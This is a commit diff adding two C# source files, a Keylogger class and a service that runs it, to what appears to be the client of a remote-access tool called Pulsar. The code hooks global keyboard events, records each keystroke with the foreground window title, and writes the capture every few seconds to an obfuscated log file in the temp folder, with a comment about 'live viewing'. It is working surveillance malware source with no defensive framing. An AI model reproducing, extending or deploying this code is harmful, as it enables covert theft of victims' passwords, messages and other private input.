initial commit
This commit is contained in:
@@ -0,0 +1,272 @@
|
||||
using Gma.System.MouseKeyHook;
|
||||
using Pulsar.Client.Extensions;
|
||||
using Pulsar.Client.Helper;
|
||||
using Pulsar.Common.Helpers;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using System.Timers;
|
||||
using System.Windows.Forms;
|
||||
using Timer = System.Timers.Timer;
|
||||
|
||||
namespace Pulsar.Client.Logging
|
||||
{
|
||||
public class Keylogger : IDisposable
|
||||
{
|
||||
private readonly long _maxLogFileSize;
|
||||
private readonly Timer _flushTimer;
|
||||
private readonly object _syncLock = new object();
|
||||
private readonly StringBuilder _currentBuffer = new StringBuilder();
|
||||
private readonly IKeyboardMouseEvents _events;
|
||||
|
||||
private string _currentWindow = string.Empty;
|
||||
private DateTime _lastWindowChange = DateTime.UtcNow;
|
||||
private string _logFilePath;
|
||||
private bool _isFirstWrite = true;
|
||||
private readonly TimeSpan _windowChangeThreshold = TimeSpan.FromSeconds(1);
|
||||
public bool IsDisposed { get; private set; }
|
||||
|
||||
public Keylogger(double flushInterval, long maxLogFileSize)
|
||||
{
|
||||
_maxLogFileSize = maxLogFileSize;
|
||||
_events = Hook.GlobalEvents();
|
||||
_logFilePath = GetLogFilePath();
|
||||
|
||||
_flushTimer = new Timer(flushInterval);
|
||||
_flushTimer.Elapsed += TimerElapsed;
|
||||
_flushTimer.AutoReset = true;
|
||||
}
|
||||
|
||||
public void Start()
|
||||
{
|
||||
Subscribe();
|
||||
_flushTimer.Start();
|
||||
}
|
||||
|
||||
private void Subscribe()
|
||||
{
|
||||
_events.KeyDown += OnKeyDown;
|
||||
_events.KeyPress += OnKeyPress;
|
||||
}
|
||||
|
||||
private void Unsubscribe()
|
||||
{
|
||||
_events.KeyDown -= OnKeyDown;
|
||||
_events.KeyPress -= OnKeyPress;
|
||||
}
|
||||
|
||||
private void OnKeyDown(object sender, KeyEventArgs e)
|
||||
{
|
||||
string newWindow = NativeMethodsHelper.GetForegroundWindowTitle() ?? "Unknown Window";
|
||||
|
||||
lock (_syncLock)
|
||||
{
|
||||
bool windowChanged = newWindow != _currentWindow;
|
||||
bool enoughTimePassed = DateTime.UtcNow - _lastWindowChange > _windowChangeThreshold;
|
||||
|
||||
// Check if window changed significantly
|
||||
if (windowChanged && enoughTimePassed)
|
||||
{
|
||||
_currentWindow = newWindow;
|
||||
_lastWindowChange = DateTime.UtcNow;
|
||||
|
||||
// Start a fresh line for the new window
|
||||
if (_currentBuffer.Length > 0 && !_currentBuffer.ToString().EndsWith(Environment.NewLine))
|
||||
_currentBuffer.AppendLine();
|
||||
|
||||
// Append window header cleanly
|
||||
_currentBuffer.AppendLine($"[{DateTime.UtcNow:HH:mm:ss}] {newWindow}");
|
||||
}
|
||||
|
||||
HandleSpecialKey(e);
|
||||
}
|
||||
}
|
||||
|
||||
private void HandleSpecialKey(KeyEventArgs e)
|
||||
{
|
||||
switch (e.KeyCode)
|
||||
{
|
||||
case Keys.Enter:
|
||||
_currentBuffer.AppendLine();
|
||||
break;
|
||||
case Keys.Back:
|
||||
HandleBackspace();
|
||||
break;
|
||||
case Keys.Space:
|
||||
_currentBuffer.Append(' ');
|
||||
break;
|
||||
case Keys.Tab:
|
||||
_currentBuffer.Append("\t");
|
||||
break;
|
||||
case Keys.Escape:
|
||||
_currentBuffer.Append("[Esc]");
|
||||
break;
|
||||
case Keys.Delete:
|
||||
_currentBuffer.Append("[Del]");
|
||||
break;
|
||||
case Keys.Up:
|
||||
case Keys.Down:
|
||||
case Keys.Left:
|
||||
case Keys.Right:
|
||||
// Ignore arrow keys to reduce noise
|
||||
break;
|
||||
case Keys.LControlKey:
|
||||
case Keys.RControlKey:
|
||||
case Keys.LShiftKey:
|
||||
case Keys.RShiftKey:
|
||||
case Keys.LMenu:
|
||||
case Keys.RMenu:
|
||||
case Keys.LWin:
|
||||
case Keys.RWin:
|
||||
// Ignore modifier keys alone
|
||||
break;
|
||||
default:
|
||||
// Log function keys
|
||||
if (e.KeyCode >= Keys.F1 && e.KeyCode <= Keys.F24)
|
||||
{
|
||||
_currentBuffer.Append($"[{e.KeyCode}]");
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void HandleBackspace()
|
||||
{
|
||||
if (_currentBuffer.Length > 0)
|
||||
{
|
||||
// Remove last character if it's not part of a window header
|
||||
char lastChar = _currentBuffer[_currentBuffer.Length - 1];
|
||||
if (lastChar != '\n' && lastChar != '\r' && lastChar != ']')
|
||||
{
|
||||
_currentBuffer.Length--;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void OnKeyPress(object sender, KeyPressEventArgs e)
|
||||
{
|
||||
lock (_syncLock)
|
||||
{
|
||||
if (!char.IsControl(e.KeyChar))
|
||||
_currentBuffer.Append(e.KeyChar);
|
||||
else if (e.KeyChar == '\r') // Enter key
|
||||
_currentBuffer.AppendLine();
|
||||
}
|
||||
}
|
||||
|
||||
private void TimerElapsed(object sender, ElapsedEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
FlushToFile();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Keylogger flush error: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
private void FlushToFile()
|
||||
{
|
||||
lock (_syncLock)
|
||||
{
|
||||
if (_currentBuffer.Length == 0) return;
|
||||
|
||||
string contentToWrite = _currentBuffer.ToString();
|
||||
_currentBuffer.Clear();
|
||||
|
||||
WriteToFile(contentToWrite);
|
||||
}
|
||||
}
|
||||
|
||||
private void WriteToFile(string content)
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(content)) return;
|
||||
|
||||
try
|
||||
{
|
||||
// Write using the obfuscated log helper (handles compression + framing)
|
||||
FileHelper.WriteObfuscatedLogFile(_logFilePath, content + Environment.NewLine);
|
||||
|
||||
// Check file size
|
||||
FileInfo info = new FileInfo(_logFilePath);
|
||||
if (info.Length > _maxLogFileSize)
|
||||
{
|
||||
RotateLogFile();
|
||||
}
|
||||
|
||||
_isFirstWrite = false; // mark that we’ve written at least once
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Log file write error: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
private void RotateLogFile()
|
||||
{
|
||||
try
|
||||
{
|
||||
string baseName = DateTime.UtcNow.ToString("yyyy-MM-dd");
|
||||
string basePath = Path.Combine(Path.GetTempPath(), baseName);
|
||||
string newFilePath = basePath + ".txt";
|
||||
|
||||
int counter = 1;
|
||||
while (File.Exists(newFilePath))
|
||||
{
|
||||
newFilePath = $"{basePath}_{counter:00}.txt";
|
||||
counter++;
|
||||
}
|
||||
|
||||
_logFilePath = newFilePath;
|
||||
_isFirstWrite = true;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Log rotation error: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
private string GetLogFilePath()
|
||||
{
|
||||
return Path.Combine(Path.GetTempPath(), DateTime.UtcNow.ToString("yyyy-MM-dd") + ".txt");
|
||||
}
|
||||
|
||||
public void FlushImmediately()
|
||||
{
|
||||
FlushToFile();
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (IsDisposed) return;
|
||||
|
||||
if (disposing)
|
||||
{
|
||||
try
|
||||
{
|
||||
FlushToFile();
|
||||
Unsubscribe();
|
||||
_flushTimer.Stop();
|
||||
_flushTimer.Dispose();
|
||||
_events.Dispose();
|
||||
_currentBuffer.Clear();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Dispose error: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
IsDisposed = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,289 @@
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Pulsar.Client.Logging
|
||||
{
|
||||
/// <summary>
|
||||
/// Provides a service to run the keylogger within its own message loop.
|
||||
/// </summary>
|
||||
public class KeyloggerService : IDisposable
|
||||
{
|
||||
private readonly Thread _msgLoopThread;
|
||||
private ApplicationContext _msgLoop;
|
||||
private Keylogger _keylogger;
|
||||
private readonly ManualResetEventSlim _initialized = new ManualResetEventSlim(false);
|
||||
private readonly ManualResetEventSlim _shutdownComplete = new ManualResetEventSlim(false);
|
||||
private readonly CancellationTokenSource _cancellationTokenSource = new CancellationTokenSource();
|
||||
private bool _disposed;
|
||||
private volatile bool _isRunning;
|
||||
|
||||
public KeyloggerService()
|
||||
{
|
||||
_msgLoopThread = new Thread(MessageLoopThread)
|
||||
{
|
||||
IsBackground = true,
|
||||
Name = "Keylogger Message Loop Thread",
|
||||
Priority = ThreadPriority.BelowNormal // Reduce impact on system
|
||||
};
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets whether the keylogger service is currently running.
|
||||
/// </summary>
|
||||
public bool IsRunning => _isRunning && !_disposed;
|
||||
|
||||
/// <summary>
|
||||
/// Event raised when the keylogger service encounters an error.
|
||||
/// </summary>
|
||||
public event EventHandler<Exception> ErrorOccurred;
|
||||
|
||||
/// <summary>
|
||||
/// Event raised when the keylogger service starts successfully.
|
||||
/// </summary>
|
||||
public event EventHandler Started;
|
||||
|
||||
/// <summary>
|
||||
/// Event raised when the keylogger service stops.
|
||||
/// </summary>
|
||||
public event EventHandler Stopped;
|
||||
|
||||
private void MessageLoopThread()
|
||||
{
|
||||
var threadId = Thread.CurrentThread.ManagedThreadId;
|
||||
|
||||
try
|
||||
{
|
||||
// Set up the message loop
|
||||
SynchronizationContext.SetSynchronizationContext(new WindowsFormsSynchronizationContext());
|
||||
|
||||
_msgLoop = new ApplicationContext();
|
||||
|
||||
// OPTIMIZED: 3-second flush for live viewing + 10MB file size
|
||||
_keylogger = new Keylogger(6000, 10 * 1024 * 1024);
|
||||
|
||||
_keylogger.Start();
|
||||
_isRunning = true;
|
||||
_initialized.Set();
|
||||
|
||||
// Notify start
|
||||
OnStarted();
|
||||
|
||||
// Run the message loop with cancellation support
|
||||
RunMessageLoopWithCancellation();
|
||||
|
||||
_isRunning = false;
|
||||
OnStopped();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_isRunning = false;
|
||||
OnErrorOccurred(ex);
|
||||
}
|
||||
finally
|
||||
{
|
||||
_shutdownComplete.Set();
|
||||
}
|
||||
}
|
||||
|
||||
private void RunMessageLoopWithCancellation()
|
||||
{
|
||||
while (!_cancellationTokenSource.Token.IsCancellationRequested)
|
||||
{
|
||||
// Process all Windows messages in the queue
|
||||
Application.DoEvents();
|
||||
|
||||
// OPTIMIZED: 25ms sleep for better CPU usage
|
||||
//Thread.Sleep(25);
|
||||
}
|
||||
|
||||
// Properly exit the application context
|
||||
_msgLoop?.ExitThread();
|
||||
}
|
||||
/// <summary>
|
||||
/// Starts the keylogger service and waits until it's ready.
|
||||
/// </summary>
|
||||
/// <param name="timeoutMs">Timeout in milliseconds to wait for initialization</param>
|
||||
/// <returns>True if started successfully, false if timed out</returns>
|
||||
public bool Start(int timeoutMs = 10000)
|
||||
{
|
||||
if (_disposed)
|
||||
throw new ObjectDisposedException(nameof(KeyloggerService));
|
||||
|
||||
if (_isRunning)
|
||||
return true;
|
||||
|
||||
if (!_msgLoopThread.IsAlive)
|
||||
{
|
||||
_msgLoopThread.Start();
|
||||
|
||||
if (_initialized.Wait(timeoutMs))
|
||||
{
|
||||
return _isRunning;
|
||||
}
|
||||
else
|
||||
{
|
||||
throw new TimeoutException("Keylogger service failed to initialize within the specified timeout.");
|
||||
}
|
||||
}
|
||||
|
||||
return _isRunning;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Starts the keylogger service asynchronously.
|
||||
/// </summary>
|
||||
public async Task<bool> StartAsync(int timeoutMs = 10000)
|
||||
{
|
||||
return await Task.Run(() => Start(timeoutMs));
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Stops the keylogger service.
|
||||
/// </summary>
|
||||
/// <param name="timeoutMs">Timeout in milliseconds to wait for shutdown</param>
|
||||
/// <returns>True if stopped successfully, false if timed out</returns>
|
||||
public bool Stop(int timeoutMs = 5000)
|
||||
{
|
||||
if (_disposed || !_isRunning)
|
||||
return true;
|
||||
|
||||
try
|
||||
{
|
||||
_cancellationTokenSource.Cancel();
|
||||
|
||||
// Signal the message loop to exit
|
||||
_msgLoop?.ExitThread();
|
||||
|
||||
if (_shutdownComplete.Wait(timeoutMs))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
else
|
||||
{
|
||||
OnErrorOccurred(new TimeoutException("Keylogger service failed to stop within the specified timeout."));
|
||||
return false;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
OnErrorOccurred(ex);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Forces an immediate flush of the keylogger buffer.
|
||||
/// </summary>
|
||||
public void Flush()
|
||||
{
|
||||
if (_isRunning && _keylogger != null)
|
||||
{
|
||||
try
|
||||
{
|
||||
// Use Invoke if we're on a different thread
|
||||
if (_msgLoop != null && _msgLoop.MainForm != null && !_msgLoop.MainForm.InvokeRequired)
|
||||
{
|
||||
_keylogger.FlushImmediately();
|
||||
}
|
||||
else
|
||||
{
|
||||
_msgLoop?.MainForm?.Invoke((MethodInvoker)(() => _keylogger.FlushImmediately()));
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
OnErrorOccurred(ex);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Restarts the keylogger service.
|
||||
/// </summary>
|
||||
public async Task<bool> RestartAsync(int shutdownTimeoutMs = 5000, int startupTimeoutMs = 10000)
|
||||
{
|
||||
if (Stop(shutdownTimeoutMs))
|
||||
{
|
||||
// Small delay to ensure clean shutdown
|
||||
await Task.Delay(1000);
|
||||
return await StartAsync(startupTimeoutMs);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
protected virtual void OnErrorOccurred(Exception ex)
|
||||
{
|
||||
ErrorOccurred?.Invoke(this, ex);
|
||||
}
|
||||
|
||||
protected virtual void OnStarted()
|
||||
{
|
||||
Started?.Invoke(this, EventArgs.Empty);
|
||||
}
|
||||
|
||||
protected virtual void OnStopped()
|
||||
{
|
||||
Stopped?.Invoke(this, EventArgs.Empty);
|
||||
}
|
||||
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (_disposed)
|
||||
return;
|
||||
|
||||
if (disposing)
|
||||
{
|
||||
// Signal cancellation first
|
||||
_cancellationTokenSource.Cancel();
|
||||
|
||||
try
|
||||
{
|
||||
// Stop the service if it's running
|
||||
if (_isRunning)
|
||||
{
|
||||
Stop(3000);
|
||||
}
|
||||
|
||||
// Wait for thread to complete
|
||||
if (_msgLoopThread.IsAlive && !_msgLoopThread.Join(2000))
|
||||
{
|
||||
_msgLoopThread.Interrupt();
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
OnErrorOccurred(ex);
|
||||
}
|
||||
finally
|
||||
{
|
||||
// Dispose resources
|
||||
_keylogger?.Dispose();
|
||||
_keylogger = null;
|
||||
|
||||
_msgLoop?.Dispose();
|
||||
_msgLoop = null;
|
||||
|
||||
_cancellationTokenSource?.Dispose();
|
||||
_initialized?.Dispose();
|
||||
_shutdownComplete?.Dispose();
|
||||
}
|
||||
}
|
||||
|
||||
_disposed = true;
|
||||
}
|
||||
|
||||
~KeyloggerService()
|
||||
{
|
||||
Dispose(false);
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user